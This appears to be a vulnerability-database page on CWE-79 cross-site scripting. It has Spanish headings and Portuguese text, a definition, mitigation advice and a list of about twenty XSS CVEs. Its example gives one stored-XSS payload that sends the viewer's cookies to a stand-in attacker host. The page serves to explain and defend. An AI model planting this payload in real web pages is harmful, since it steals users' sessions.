Fallos del tipo CWE-79

28.833 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-2671LOWSourceCodester Lost and Found Information System Contact Form cross site scriptingEPSS 0.6%CVE-2019-15968MEDIUMCisco Unified Communications Domain Manager Persistent Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-22117MEDIUMDirectus - Stored Cross-Site Scripting (XSS) in Profile Avatar ImageEPSS 0.6%CVE-2019-16008MEDIUMCisco IP Phone 6800, 7800, and 8800 Series with Multiplatform Firmware Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2020-3233MEDIUMCisco IOx Application Framework Local Manager Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-39172MEDIUMA stored XSS in the process overview (bersicht zugewiesener Vorgaenge) in mbsupport openVIVA c2 20220101 allows a remote, authenticated, lowEPSS 0.6%CVE-2023-35157HIGHXWiki Platform vulnerable to reflected cross-site scripting via delattachment actionEPSS 0.6%CVE-2020-3320MEDIUMCisco Firepower Management Center Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2021-24421—WP JobSearch < 1.7.4 - Authenticated Stored XSSEPSS 0.6%CVE-2019-12702MEDIUMCisco SPA100 Series Analog Telephone Adapters Reflected Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2026-66418CRITICALOpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username FieldEPSS 0.6%CVE-2015-10078LOWatwellpub Resend Welcome Email Plugin resend-welcome-email.php send_welcome_email_url cross site scriptingEPSS 0.6%CVE-2026-66421HIGHOpenClaw Dashboard Stored XSS via lastMessage Session FieldEPSS 0.6%CVE-2020-3157MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-22116MEDIUMDirectus - Stored Cross-Site Scripting (XSS) via SVG File UploadEPSS 0.6%CVE-2019-12638MEDIUMCisco Identity Services Engine Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2019-12637MEDIUMCisco Identity Services Engine Multiple Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2016-15027LOWmeta4creations Post Duplicator Plugin notices.php mtphr_post_duplicator_notice cross site scriptingEPSS 0.6%CVE-2024-31857MEDIUMForminator prior to 1.15.4 contains a cross-site scripting vulnerability. If this vulnerability is exploited, a remote attacker may obtain uEPSS 0.6%CVE-2022-43556MEDIUMConcrete CMS (formerly concrete5) below 8.5.10 and between 9.0.0 and 9.1.2 is vulnerable to XSS in the text input field since the result dasEPSS 0.6%